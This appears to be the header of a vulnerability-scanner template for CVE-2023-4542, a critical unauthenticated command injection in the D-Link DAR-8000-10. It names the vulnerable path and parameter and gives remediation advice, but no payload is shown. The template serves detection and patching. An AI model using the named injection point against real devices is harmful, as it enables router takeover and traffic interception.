D-Link DAR-8000-10 - Command Injection

id: CVE-2023-4542

info:
  name: D-Link DAR-8000-10 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    D-Link DAR-8000-10 version has an operating system command injection vulnerability. The vulnerability originates from the parameter id of the file /app/sys1.php which can lead to operating system command injection.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the id parameter in /app/sys1.php, potentially gaining full control of the D-Link DAR-8000-10 router and intercepting all network traffic.
  remediation: |
    Update D-Link DAR-8000-10 firmware to a patched version that properly sanitizes the id parameter in sys1.php and prevents operating system command injection.
